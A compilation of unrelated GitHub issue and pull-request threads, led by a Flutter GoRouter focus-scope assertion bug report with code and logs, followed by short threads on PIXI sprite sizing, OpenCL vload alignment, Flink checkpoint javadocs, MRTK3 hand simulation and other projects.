  static final _shellNavigatorKey = GlobalKey<NavigatorState>();

  static GoRouter createRouter(BuildContext context) {
    return GoRouter(
      navigatorKey: _rootNavigatorKey,
      debugLogDiagnostics: true,
      refreshListenable: AuthenticationListenable(
          BlocProvider.of<AuthenticationBloc>(context)),
      redirect: (BuildContext context, GoRouterState state) {
        final authState = context.read<AuthenticationBloc>().state;

        final loggingIn = state.matchedLocation.contains('/login');
        final home = state.matchedLocation.contains('/first') ||
            state.matchedLocation.contains('/second') ||
            state.matchedLocation.contains('/third') ||
            state.matchedLocation.contains('/fourth') ||
            state.matchedLocation.contains('/fifth');

        if (authState.status == AuthenticationStatus.unknown) {
          return '/';
        }

        if (authState.status == AuthenticationStatus.unauthenticated &&
            !loggingIn) {
          return '/login';
        }

        if (authState.status == AuthenticationStatus.authenticated && !home) {
          return '/first';
        }
        return null;
      },
      routes: [
        ShellRoute(
          navigatorKey: _shellNavigatorKey,
          builder: (context, state, child) {
            return AppScaffold(child: child);
          },
          routes: <RouteBase>[
            GoRoute(
              parentNavigatorKey: _shellNavigatorKey,
              path: '/first',
              name: 'home',
              pageBuilder: (context, state) => NoTransitionPage(
                key: state.pageKey,
                child: const HomeScreen(
                  title: 'Home',
                ),
              ),
            ),
            GoRoute(
              parentNavigatorKey: _shellNavigatorKey,
              path: '/second',
              name: 'secondtab',
              pageBuilder: (context, state) => NoTransitionPage(
                key: state.pageKey,
                child: const SecondScreen(),
              ),
            ),
            GoRoute(
              parentNavigatorKey: _shellNavigatorKey,
              path: '/third',
              name: 'thirdtab',
              pageBuilder: (context, state) => NoTransitionPage(
                key: state.pageKey,
                child: const ThirdScreen(),
              ),
            ),
            GoRoute(
              parentNavigatorKey: _shellNavigatorKey,
              path: '/fourth',
              name: 'fourthtab',
              pageBuilder: (context, state) => NoTransitionPage(
                key: state.pageKey,
                child: const FourthScreen(),
              ),
            ),
            GoRoute(
              parentNavigatorKey: _shellNavigatorKey,
              path: '/fifth',
              name: 'fifthTab',
              pageBuilder: (context, state) => NoTransitionPage(
                key: state.pageKey,
                child: const FifthScreen(),
              ),
            ),
          ],
        ),
        GoRoute(
          path: '/',
          name: 'splash',
          pageBuilder: (context, state) => NoTransitionPage(
            key: state.pageKey,
            child: const SplashScreen(),
          ),
        ),
        GoRoute(
          path: '/login',
          name: 'login',
          pageBuilder: (context, state) => NoTransitionPage(
            key: state.pageKey,
            child: LoginView(),
          ),
        ),
      ],
      errorPageBuilder: (context, state) => NoTransitionPage(
        key: state.pageKey,
        child: Scaffold(
          body: Center(
            child: Text(
              'Page not found',
              style: Theme.of(context).textTheme.headlineMedium,
            ),
          ),
        ),
      ),
    );
  }
}

app_scaffold.dart
class AppScaffold extends StatefulWidget {
  const AppScaffold({Key? key, required this.child}) : super(key: key);
  final Widget child;

  @override
  State<AppScaffold> createState() => _AppScaffoldState();
}

class _AppScaffoldState extends State<AppScaffold> {
  @override
  Widget build(BuildContext context) {
    return Scaffold(
      body: widget.child,
      bottomNavigationBar: BottomNavigationBar(
              currentIndex: _calculateSelectedIndex(context),
              onTap: onTap,
              items: const [
                BottomNavigationBarItem(icon: Icon(Icons.home), label: 'Home'),
                BottomNavigationBarItem(
                    icon: Icon(Icons.people), label: 'Second'),
                BottomNavigationBarItem(
                    icon: Icon(Icons.calendar_month), label: 'Third'),
                BottomNavigationBarItem(
                    icon: Icon(Icons.dashboard), label: 'Fourth'),
                BottomNavigationBarItem(icon: Icon(Icons.menu), label: 'Fifth'),
              ],
            ),
    );
  }

  int _calculateSelectedIndex(BuildContext context) {
    final GoRouterState route = GoRouterState.of(context);
    final String location = route.uri.toString();
    if (location.startsWith('/first')) {
      return 0;
    }
    if (location.startsWith('/second')) {
      return 1;
    }
    if (location.startsWith('/third')) {
      return 2;
    }
    if (location.startsWith('/fourth')) {
      return 3;
    }
    if (location.startsWith('/fifth')) {
      return 4;
    }
    return 0;
  }

  void onTap(int value) {
    switch (value) {
      case 0:
        return context.go('/first');
      case 1:
        return context.go('/second');
      case 2:
        return context.go('/third');
      case 3:
        return context.go('/fourth');
      case 4:
        return context.go('/fifth');
      default:
        return context.go('/first');
    }
  }
}

home_screen.dart
class HomeScreen extends StatelessWidget {
  const HomeScreen({super.key, required String title});

  @override
  Widget build(BuildContext context) {
    return Scaffold(
        appBar: AppBar(title: const Text('BloC Login Demo')),
        body: Center(
      child: Column(mainAxisAlignment: MainAxisAlignment.center, children: [
        Text(
          AppLocalizations.of(context)!.homeScreen,
          style:
              const TextStyle(color: Colors.green, fontWeight: FontWeight.bold),
        ),
        Text(
          AppLocalizations.of(context)!
              .user(context.read<AuthenticationBloc>().state.user.displayName),
        ),
        Text(
          AppLocalizations.of(context)!.numdays(daysLeftInMonth()),
        ),
        Text(
          AppLocalizations.of(context)!
              .commonCurrentDateTime(DateTime.now(), DateTime.now()),
        ),
        Text(formatCustomDate(DateTime.now(), context)),
        ElevatedButton(
          onPressed: () {
            context.read<LocaleBloc>().add(
                ChangeLocale(const Locale.fromSubtags(languageCode: 'en')));
          },
          child: Text(AppLocalizations.of(context)!.languageEn),
        ),
        ElevatedButton(
          onPressed: () {
            context.read<LocaleBloc>().add(ChangeLocale(
                const Locale.fromSubtags(
                    languageCode: 'sr',
                    scriptCode: 'Latn',
                    countryCode: 'RS')));
          },
          child: Text(AppLocalizations.of(context)!.languageSrLatn),
        ),
        ElevatedButton(
          onPressed: () {
            context.read<LocaleBloc>().add(ChangeLocale(
                const Locale.fromSubtags(
                    languageCode: 'sr',
                    scriptCode: 'Cyrl',
                    countryCode: 'RS')));
          },
          child: Text(AppLocalizations.of(context)!.languageSrCyrl),
        ),
        ElevatedButton(
          onPressed: () {
            context
                .read<AuthenticationBloc>()
                .add(AuthenticationLogoutRequested());
          },
          child: Text(AppLocalizations.of(context)!.logout),
        ),
      ]),
    ));
  }
}

Screenshots or Video

Screenshots / Video demonstration
[Upload media here]

Logs
Logs
====================================================================================================
E/flutter (18222): [ERROR:flutter/runtime/dart_vm_initializer.cc(41)] Unhandled Exception: 'package:flutter/src/widgets/focus_manager.dart': Failed assertion: line 1256 pos 12: '_focusedChildren.isEmpty || _focusedChildren.last.enclosingScope == this': Focused child does not have the same idea of its enclosing scope as the scope does.
E/flutter (18222): #0      _AssertionError._doThrowNew (dart:core-patch/errors_patch.dart:51:61)
E/flutter (18222): #1      _AssertionError._throwNew (dart:core-patch/errors_patch.dart:40:5)
E/flutter (18222): #2      FocusScopeNode.focusedChild (package:flutter/src/widgets/focus_manager.dart:1256:12)
E/flutter (18222): #3      _Autofocus.applyIfValid (package:flutter/src/widgets/focus_manager.dart:140:37)
E/flutter (18222): #4      FocusManager.applyFocusChangesIfNeeded (package:flutter/src/widgets/focus_manager.dart:1640:17)
E/flutter (18222): #5      _microtaskLoop (dart:async/schedule_microtask.dart:40:21)
E/flutter (18222): #6      _startMicrotaskLoop (dart:async/schedule_microtask.dart:49:5)
E/flutter (18222):

======== Exception caught by widgets library =======================================================
The following assertion was thrown while finalizing the widget tree:
Focused child does not have the same idea of its enclosing scope as the scope does.
'package:flutter/src/widgets/focus_manager.dart':
Failed assertion: line 1256 pos 12: '_focusedChildren.isEmpty || _focusedChildren.last.enclosingScope == this'

Either the assertion indicates an error in the framework itself, or we should provide substantially more information in this error message to help you determine and fix the underlying cause.
In either case, please report this assertion by filing a bug on GitHub:
  https://github.com/flutter/flutter/issues/new?template=2_bug.yml

When the exception was thrown, this was the stack:
#2      FocusScopeNode.focusedChild (package:flutter/src/widgets/focus_manager.dart:1256:12)
#3      FocusScopeNode._doRequestFocus (package:flutter/src/widgets/focus_manager.dart:1341:17)
#4      FocusScopeNode._doRequestFocus (package:flutter/src/widgets/focus_manager.dart:1357:18)
#5      FocusNode.unfocus (package:flutter/src/widgets/focus_manager.dart:901:15)
#6      FocusAttachment.detach (package:flutter/src/widgets/focus_manager.dart:197:15)
#7      _FocusState.dispose (package:flutter/src/widgets/focus_scope.dart:561:23)
#8      StatefulElement.unmount (package:flutter/src/widgets/framework.dart:5680:11)
#9      _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2067:13)
#10     _InactiveElements._unmount.<anonymous closure> (package:flutter/src/widgets/framework.dart:2065:7)
#11     ComponentElement.visitChildren (package:flutter/src/widgets/framework.dart:5523:14)
#12     _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2063:13)
#13     _InactiveElements._unmount.<anonymous closure> (package:flutter/src/widgets/framework.dart:2065:7)
#14     ComponentElement.visitChildren (package:flutter/src/widgets/framework.dart:5523:14)
#15     _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2063:13)
#16     _InactiveElements._unmount.<anonymous closure> (package:flutter/src/widgets/framework.dart:2065:7)
#17     ComponentElement.visitChildren (package:flutter/src/widgets/framework.dart:5523:14)
#18     _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2063:13)
#19     _InactiveElements._unmount.<anonymous closure> (package:flutter/src/widgets/framework.dart:2065:7)
#20     ComponentElement.visitChildren (package:flutter/src/widgets/framework.dart:5523:14)
#21     _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2063:13)
#22     _InactiveElements._unmount.<anonymous closure> (package:flutter/src/widgets/framework.dart:2065:7)
#23     ComponentElement.visitChildren (package:flutter/src/widgets/framework.dart:5523:14)
#24     _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2063:13)
#25     _InactiveElements._unmount.<anonymous closure> (package:flutter/src/widgets/framework.dart:2065:7)
#26     SingleChildRenderObjectElement.visitChildren (package:flutter/src/widgets/framework.dart:6722:14)
#27     _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2063:13)
#28     _InactiveElements._unmount.<anonymous closure> (package:flutter/src/widgets/framework.dart:2065:7)
#29     ComponentElement.visitChildren (package:flutter/src/widgets/framework.dart:5523:14)
#30     _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2063:13)
#31     _InactiveElements._unmount.<anonymous closure> (package:flutter/src/widgets/framework.dart:2065:7)
#32     ComponentElement.visitChildren (package:flutter/src/widgets/framework.dart:5523:14)
#33     _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2063:13)
#34     _InactiveElements._unmount.<anonymous closure> (package:flutter/src/widgets/framework.dart:2065:7)
#35     ComponentElement.visitChildren (package:flutter/src/widgets/framework.dart:5523:14)
#36     _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2063:13)
#37     _InactiveElements._unmount.<anonymous closure> (package:flutter/src/widgets/framework.dart:2065:7)
#38     ComponentElement.visitChildren (package:flutter/src/widgets/framework.dart:5523:14)
#39     _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2063:13)
#40     _InactiveElements._unmount.<anonymous closure> (package:flutter/src/widgets/framework.dart:2065:7)
#41     ComponentElement.visitChildren (package:flutter/src/widgets/framework.dart:5523:14)
#42     _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2063:13)
#43     _InactiveElements._unmount.<anonymous closure> (package:flutter/src/widgets/framework.dart:2065:7)
#44     SingleChildRenderObjectElement.visitChildren (package:flutter/src/widgets/framework.dart:6722:14)
#45     _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2063:13)
#46     _InactiveElements._unmount.<anonymous closure> (package:flutter/src/widgets/framework.dart:2065:7)
#47     ComponentElement.visitChildren (package:flutter/src/widgets/framework.dart:5523:14)
#48     _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2063:13)
#49     _InactiveElements._unmount.<anonymous closure> (package:flutter/src/widgets/framework.dart:2065:7)
#50     ComponentElement.visitChildren (package:flutter/src/widgets/framework.dart:5523:14)
#51     _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2063:13)
#52     _InactiveElements._unmount.<anonymous closure> (package:flutter/src/widgets/framework.dart:2065:7)
#53     ComponentElement.visitChildren (package:flutter/src/widgets/framework.dart:5523:14)
#54     _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2063:13)
#55     _InactiveElements._unmount.<anonymous closure> (package:flutter/src/widgets/framework.dart:2065:7)
#56     ComponentElement.visitChildren (package:flutter/src/widgets/framework.dart:5523:14)
#57     _InactiveElements._unmount (package:flutter/src/widgets/framework.dart:2063:13)
#58     ListIterable.forEach (dart:_internal/iterable.dart:49:13)
#59     _InactiveElements._unmountAll (package:flutter/src/widgets/framework.dart:2076:25)
#60     BuildOwner.lockState (package:flutter/src/widgets/framework.dart:2755:15)
#61     BuildOwner.finalizeTree (package:flutter/src/widgets/framework.dart:3165:7)
#62     WidgetsBinding.drawFrame (package:flutter/src/widgets/binding.dart:987:19)
#63     RendererBinding._handlePersistentFrameCallback (package:flutter/src/rendering/binding.dart:457:5)
#64     SchedulerBinding._invokeFrameCallback (package:flutter/src/scheduler/binding.dart:1325:15)
#65     SchedulerBinding.handleDrawFrame (package:flutter/src/scheduler/binding.dart:1255:9)
#66     SchedulerBinding._handleDrawFrame (package:flutter/src/scheduler/binding.dart:1113:5)
#67     _invoke (dart:ui/hooks.dart:312:13)
#68     PlatformDispatcher._drawFrame (dart:ui/platform_dispatcher.dart:383:5)
#69     _drawFrame (dart:ui/hooks.dart:283:31)
(elided 2 frames from class _AssertionError)
====================================================================================================

Flutter Doctor output
Doctor output
[√] Flutter (Channel stable, 3.16.0, on Microsoft Windows [Version 10.0.22621.2861], locale en-US)
    • Flutter version 3.16.0 on channel stable at C:\src\flutter\flutter_windows_3.10.4-stable\flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision db7ef5bf9f (8 weeks ago), 2023-11-15 11:25:44 -0800
    • Engine revision 74d16627b9
    • Dart version 3.2.0
    • DevTools version 2.28.2

[√] Windows Version (Installed version of Windows is version 10 or higher)

[√] Android toolchain - develop for Android devices (Android SDK version 34.0.0)
    • Android SDK at C:\Users\developer\AppData\Local\Android\sdk
    • Platform android-34, build-tools 34.0.0
    • Java binary at: C:\Program Files\Android\Android Studio2\jbr\bin\java
    • Java version OpenJDK Runtime Environment (build 17.0.7+0-b2043.56-10550314)
    • All Android licenses accepted.

[√] Chrome - develop for the web
    • Chrome at C:\Program Files\Google\Chrome\Application\chrome.exe

[X] Visual Studio - develop Windows apps
    X Visual Studio not installed; this is necessary to develop Windows apps.
      Download at https://visualstudio.microsoft.com/downloads/.
      Please install the "Desktop development with C++" workload, including all of its default components

[√] Network resources
    • All expected network resources are available.

! Doctor found issues in 1 category.

Thanks for the report @dulejo
Can you try https://github.com/flutter/flutter/issues/119849#issuecomment-1460969657 and see if it helps in your case or not ?

Thanks for reply!
I wrapped the app with a FocusScope as suggested in #119849 and problem still persists.

 return  FocusScope(
                          child: MaterialApp.router(
                            routerConfig: AppRouter.createRouter(context),
                            title: 'BloC Login Demo',
                            localizationsDelegates: AppLocalizations
                                .localizationsDelegates,
                            supportedLocales: localeList,
                            locale: localeState.locale,
                            theme: ThemeData(
                              colorScheme: ColorScheme.fromSeed(
                                  seedColor: Colors.orange),
                              useMaterial3: true,
                              bottomNavigationBarTheme: const BottomNavigationBarThemeData(
                                backgroundColor: Colors.orange,
                                selectedItemColor: Colors.redAccent,
                                unselectedItemColor: Colors.grey,
                              ),
                            ),
                          ),
                        );

output
======== Exception caught by widgets library =======================================================
The following assertion was thrown while finalizing the widget tree:
Focused child does not have the same idea of its enclosing scope as the scope does.
'package:flutter/src/widgets/focus_manager.dart':
Failed assertion: line 1256 pos 12: '_focusedChildren.isEmpty || _focusedChildren.last.enclosingScope == this'

Thanks for the update. Using the original code sample, I was able to replicate the error reported.

 stable, master flutter doctor -v
[!] Flutter (Channel stable, 3.16.5, on macOS 12.2.1 21D62 darwin-x64, locale
    en-GB)
    • Flutter version 3.16.5 on channel stable at
      /Users/dhs/documents/fluttersdk/flutter
    ! Warning: `flutter` on your path resolves to
      /Users/dhs/Documents/Fluttersdk/flutter/bin/flutter, which is not inside
      your current Flutter SDK checkout at
      /Users/dhs/documents/fluttersdk/flutter. Consider adding
      /Users/dhs/documents/fluttersdk/flutter/bin to the front of your path.
    ! Warning: `dart` on your path resolves to
      /Users/dhs/Documents/Fluttersdk/flutter/bin/dart, which is not inside your
      current Flutter SDK checkout at /Users/dhs/documents/fluttersdk/flutter.
      Consider adding /Users/dhs/documents/fluttersdk/flutter/bin to the front
      of your path.
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision 78666c8dc5 (13 days ago), 2023-12-19 16:14:14 -0800
    • Engine revision 3f3e560236
    • Dart version 3.2.3
    • DevTools version 2.28.4
    • If those were intentional, you can disregard the above warnings; however
      it is recommended to use "git" directly to perform update checks and
      upgrades.

[!] Xcode - develop for iOS and macOS (Xcode 12.3)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    ! Flutter recommends a minimum Xcode version of 13.
      Download the latest version or update via the Mac App Store.
    • CocoaPods version 1.11.2

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] VS Code (version 1.62.0)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.21.0

[✓] Connected device (5 available)
    • SM G975F (mobile)       • RZ8M802WY0X • android-arm64   • Android 11 (API 30)
    • Darshan's iphone (mobile)  • 21150b119064aecc249dfcfe05e259197461ce23 •
      ios            • iOS 14.4.1 18D61
    • iPhone 12 Pro Max (mobile) • A5473606-0213-4FD8-BA16-553433949729     •
      ios            • com.apple.CoreSimulator.SimRuntime.iOS-14-3 (simulator)
    • macOS (desktop)            • macos                                    •
      darwin-x64     • Mac OS X 10.15.4 19E2269 darwin-x64
    • Chrome (web)               • chrome                                   •
      web-javascript • Google Chrome 98.0.4758.80

[✓] HTTP Host Availability
    • All required HTTP hosts are available

! Doctor found issues in 1 category.

[!] Flutter (Channel master, 3.19.0-3.0.pre.50, on macOS 12.2.1 21D62
    darwin-x64, locale en-GB)
    • Flutter version 3.19.0-3.0.pre.50 on channel master at
      /Users/dhs/documents/fluttersdk/flutter
    ! Warning: `flutter` on your path resolves to
      /Users/dhs/Documents/Fluttersdk/flutter/bin/flutter, which is not inside
      your current Flutter SDK checkout at
      /Users/dhs/documents/fluttersdk/flutter. Consider adding
      /Users/dhs/documents/fluttersdk/flutter/bin to the front of your path.
    ! Warning: `dart` on your path resolves to
      /Users/dhs/Documents/Fluttersdk/flutter/bin/dart, which is not inside your
      current Flutter SDK checkout at /Users/dhs/documents/fluttersdk/flutter.
      Consider adding /Users/dhs/documents/fluttersdk/flutter/bin to the front
      of your path.
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision 3e5cad037c (68 minutes ago), 2024-01-10 22:42:23 -0500
    • Engine revision ade9f18fa0
    • Dart version 3.4.0 (build 3.4.0-16.0.dev)
    • DevTools version 2.31.0
    • If those were intentional, you can disregard the above warnings; however
      it is recommended to use "git" directly to perform update checks and
      upgrades.

[!] Android toolchain - develop for Android devices (Android SDK version 30.0.3)
    • Android SDK at /Users/dhs/Library/Android/sdk
    ✗ cmdline-tools component is missing
      Run `path/to/sdkmanager --install "cmdline-tools;latest"`
      See https://developer.android.com/studio/command-line for more details.
    ✗ Android license status unknown.
      Run `flutter doctor --android-licenses` to accept the SDK licenses.
      See https://flutter.dev/docs/get-started/install/macos#android-setup for
      more details.

[✓] Xcode - develop for iOS and macOS (Xcode 13.2.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Build 13C100
    • CocoaPods version 1.11.2

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] IntelliJ IDEA Ultimate Edition (version 2021.3.2)
    • IntelliJ at /Applications/IntelliJ IDEA.app
    • Flutter plugin version 65.1.4
    • Dart plugin version 213.7228

[✓] VS Code (version 1.62.0)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.29.0

[✓] Connected device (3 available)
    • Darshan's iphone (mobile) • 21150b119064aecc249dfcfe05e259197461ce23 • ios
      • iOS 15.3.1 19D52
    • macOS (desktop)           • macos                                    •
      darwin-x64     • macOS 12.2.1 21D62 darwin-x64
    • Chrome (web)              • chrome                                   •
      web-javascript • Google Chrome 109.0.5414.119

[✓] Network resources
    • All expected network resources are available.

! Doctor found issues in 1 category.

[!] Xcode - develop for iOS and macOS (Xcode 12.3)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    ! Flutter recommends a minimum Xcode version of 13.
      Download the latest version or update via the Mac App Store.
    • CocoaPods version 1.11.2

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] VS Code (version 1.62.0)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.21.0

[✓] Connected device (5 available)
    • SM G975F (mobile)       • RZ8M802WY0X • android-arm64   • Android 11 (API 30)
    • Darshan's iphone (mobile)  • 21150b119064aecc249dfcfe05e259197461ce23 •
      ios            • iOS 14.4.1 18D61
    • iPhone 12 Pro Max (mobile) • A5473606-0213-4FD8-BA16-553433949729     •
      ios            • com.apple.CoreSimulator.SimRuntime.iOS-14-3 (simulator)
    • macOS (desktop)            • macos                                    •
      darwin-x64     • Mac OS X 10.15.4 19E2269 darwin-x64
    • Chrome (web)               • chrome                                   •
      web-javascript • Google Chrome 98.0.4758.80

[✓] HTTP Host Availability
    • All required HTTP hosts are available

! Doctor found issues in 1 category.

Maybe it is related to framework ?

Can you try define and store the GoRouter outside of the widget in a static place?


vloadn/vstoren produces incorrect code when addresses aren't aligned to the vector type

The approach taken by replace{Vload,Vstore} in the ReplaceOpenCLBuiltinPass pass is to cast the pointer to a pointer to the vector type and use a load/store instruction. This interacts badly with SimplifyPointerBitcastPass::runOnBitcastFromGEP resulting in the address being rounded down and aligned to the vector size.

+1


.height and .width properties return scale rather than height and width

Trying to access the height and width properties of a sprite gives the scale of the sprite, rather than the height or width in pixels.
Here's a segment of the code where I discovered the issue:
var inputDependencySprite = PIXI.Sprite.fromImage(OperationInstance.inputDependencyPath);
inputDependencySprite.interactive = true;
inputDependencySprite.anchor.set(0.4, 0.5);
inputDependencySprite.scale.set(0.12, 0.12);
inputDependencySprite.position.set((mousePosition.x - backgroundSprite.width/1.75), mousePosition.y);
inputDependencySprite.visible = false;
console.log(inputDependencySprite.height);
console.log(inputDependencySprite.width);
This logs 0.12 to the console twice, which are the scale values. If I removed the line where I set the scale, 1 is logged to the console twice.

I'm going to take a guess that the texture you are using for the Sprite hasn't been pre-loaded? Because if not, then the default frame size of the texture and sprite will be 1 by 1, and thus any changes to scale will cause the width and heights to match them.

I haven't pre-loaded the texture, I only used the .fromImage() method. If I use PIXI.Loader to load the texture and then create the sprite using this texture, I'll be able to access width and height in pixels? And if I scale the Sprite I'll get the new scaled height and width?

If you want to find out the width and height of a sprite immediately after creation, then preloading is required - pixi needs that texture to be loaded to give you the information you require.

I added the line console.log(bunny.height) on line 12, after the texture was loaded, and it still logged 1 to the console.

But at that point the texture hasn't been loaded. It has been requested to be loaded, but that fromImage is asynchronous... after that call, in the background the image is being loaded.
If you put the logging at say line 27, you'd see how width would be logged as 1 for a small period, before then returning it's proper width. The point it changes away from being 1 is when the texture has finally been loaded :)

But at that point the texture hasn't been loaded. It has been requested to be loaded, but that fromImage is asynchronous... after that call, in the background the image is being loaded.
If you put the logging at say line 27, you'd see how width would be logged as 1 for a small period, before then returning it's proper width. The point it changes away from being 1 is when the texture has finally been loaded :)

Is there anyway to run the loader synchronously? The whole execution of my program depends on the height and width of my texture, so I need to wait until the texture is loaded before I can proceed.

@KosGrillis
PIXI.loader.on("complete", () => {
    // do something with my loaded assets
});

This also suggests;
PIXI.loader.load((loader, resources) => {
  // do something with resources["mytexture"]
});

oops, I meant running the Texture.fromImage() function synchronously

You could look into listening to a loaded event on the BaseTexture, but if you need your textures beforehand then you should use the loader instead of fromImage


GH-4492 new transaction endpoints

GitHub issue resolved: #4492
Briefly describe the changes proposed in this PR:

separate endpoints for each txn operation
backward compatible client impl
updated openapi spec, added changelog

PR Author Checklist (see the contributor guidelines for more details):

[ ] my pull request is self-contained
[ ] I've added tests for the changes I made
[ ] I've applied code formatting (you can use mvn process-resources to format from the command line)
[ ] I've squashed my commits where necessary
[ ] every commit message starts with the issue number (GH-xxxx) followed by a meaningful description of the change

The more I stare at it, the more I'm wondering if this change is actually worth it. I'm going to park this for a bit, get back to it later.


Usage with Angular

Heya, I'm fiddling with this library in Angular. It doesn't seem to be binding to

Have you ever used this with Angular/is there any documentation for usage with NG?

@ServiceSector please check this codesendbox https://codesandbox.io/s/agitated-panini-tpgb2?file=/src/app/app.component.ts


Updates to Halstack documentation

Checklist

[x] The build process is done without errors. All tests pass in the /lib directory.
[x] Self-reviewed the code before submitting.
[x] Meets accessibility standards.
[x] Added/updated documentation to /website as needed.
[x] Added/updated tests as needed.

Description
Summary of the updates in the documentation site:

The Box component has been deprecated.
The BackgroundColorProvider page in the Color principle has been removed.
Fixed Chip stories icon.

Since DxcBox is going to be deprecated, and DxcCard and DxcTag use DxcBox inside, should we deprecate also DxcCard and DxcTag? @GomezIvann

I don't think so. When we remove the box we just have to change their implementation. And luckily, they both are components that are going to be redesigned soon (I hope so).

Since DxcBox is going to be deprecated, and DxcCard and DxcTag use DxcBox inside, should we deprecate also DxcCard and DxcTag? @GomezIvann

I don't think so. When we remove the box we just have to change their implementation. And luckily, they both are components that are going to be redesigned soon (I hope so). Do you agree?

Totally agree. They will be redesigned and reimplemented soon 🤞🏻.


[WIP] Installs sos report tooling on physical hosts

Currently uses forked rcbops/sos repo that includes
openstack-ansible plugins until we can get it merged
upstream.
Installs source into /opt/sos.
Connects rcbops/u-suk-dev#1422
Using generic sos.conf file for now, would like to get feedback on if any need to be disabled by default.

recheck_all

recheck_xenial

recheck_all

recheck_all

recheck_cit_all

recheck_cit_ceph
recheck_cit_swift
recheck_cit_xenial

recheck_cit_all

recheck_cit_ceph

recheck_cit_ceph

recheck_cit_ceph

recheck_cit_ceph

recheck_cit_ceph

recheck_cit_ceph

recheck_cit_swift


feat: string operations on cells

Summary of Changes
Add a first batch of string operations on cells:

contains
ends_with
index_of
length
replace
starts_with
substring
to_date
to_datetime
to_float
to_int
to_lowercase
to_uppercase
trim
trim_end
trim_start

:tada: This PR is included in version 0.26.0 :tada:
The release is available on:

v0.26.0
GitHub release

Your semantic-release bot :package::rocket:


ks import -f directory reference should ignore invalid files

/kind feature
What happened:
If a directory in components/ contains something other than a yaml, jsonnet, or json file, attempting to import the directory reference will error.
e.g.
ks import -f <lots_of_yaml> --module /
ERROR parse template type: Unrecognized template type 'md'; must be one of: [yaml, json, jsonnet]

What you expected to happen:
Ignore unrecognized files such as README.md or offer an option to ignore

We shouldn't deal with this. You should run ks import on a directory that only has YAML in it.


[Feature Request] Limit the amount of tray icons visible

Something similar, to what Windows and KDE trays do: if there are too many tray icons, hide them in pop-up menu.
Additionally allow users to limit max amount of tray icons visible, at once, in a configuration file.

A pinning system could be useful here as well (to pin which items are displayed vs shown in the popup)


Fix bug in High Score functionality

If "HighScore.txt" doesn't exist on your local machine, it will generate an error. Fix this issue by adding code which will generate a HighScore.txt file if it doesn't exist on the local machine. Estimated points 100

F16 OK (100 pts)

Fixed via database implementation


Hand simulation in mrtk3 does not a work according to documentation

Describe the bug
It's not possible to rotate the left hand so that the palm is facing you in the editor. According to documentation left shift bring sup the left hand, holding lctrl + mouse move should rotate hand.  left ctrl brings up right hand.
To reproduce
Steps to reproduce the behavior:

setup a project with mrtk 3
enter play mode
press left shift to bring up the left hand
press left alt and move mouse to rotate hand.
=>> left hand moves

Expected behavior
left hand should rotate.
A clear and concise description of what you expected to happen.
Screenshots
If applicable, add screenshots to help explain your problem.
Your setup (please complete the following information)

Unity Version [2020.3.27f1]
MRTK Version [v3.0]

Target platform (please complete the following information)

HoloLens 2

Additional context
Pressing T and left alt rotates the hand as expected. Rotate command should have priority over move as in mrtk2

Thanks for reporting this @relaxer80 , assigning to @davidkline-ms as he's the sim expert. I know we've had issues in the past with the input actions for the sim having issues overriding each other; this might be a known problem.

Hi @relaxer80,
As @Zee2 mentions, I work a lot with the simulator. There are actually multiple control schemes available in the simulator. Can you confirm that you have "MRTK v3" configured as the Control Set in the inspector?

Thanks!

Closing as stale, @relaxer80 if the above suggestion doesn't resolve your issue, please reopen! Thanks 👐


[FLINK-9598] Refine java-doc about the min pause between checkpoints

What is the purpose of the change
This pull request makes docs about config minPauseBetweenCheckpoints more clear, since many users felt confused about this config parameter as they found new checkpoint triggered once checkpoints failed, related threads: thread-1, thread-2.
Brief change log
Refine java-doc about the min pause between checkpoints.
Verifying this change
This change is a trivial rework without any test coverage.
Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): no
The public API, i.e., is any changed class annotated with @Public(Evolving): no
The serializers: no
The runtime per-record code paths (performance sensitive): no
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Yarn/Mesos, ZooKeeper: no
The S3 file system connector: no

Documentation

Does this pull request introduce a new feature? no
If yes, how is the feature documented? JavaDocs

@zentol Sorry, it's really my fault to affect the public APIs by mistake, I'm reverting API-changes back to original ones and only refine the docs.

After looking at the discussion threasd I'm not sure if it makes sense to merge this PR. If the behavior is deemed buggy we shouldn't touch the javadocs and fix the behavior instead. One could argue that they should still outline the current state, but then end up switching back-and-forth between versions.

@zentol I think the decision to change javadocs or fix checkpoint coordinator's behavior depends on whether we give an explicit definition of the minimal pause between checkpoints. From our docs about Minimum Pause Between Checkpoints, it only said the successful scenario:

After a checkpoint has completed successfully, we wait at least for this amount of time before triggering the next one.

If we could give more clear definition on the checkpoint-failure scenario, it might not be a problem to discuss.


Merge develop into main for 5.29.0 release

This PR is to pull the code on the develop branch into main for a v5.29.0 release.

Matt,
I think it's too early to take it from develop to main. The way I see it, main should be for something that's passed all development tests and is now in the hands of FP (OPS).

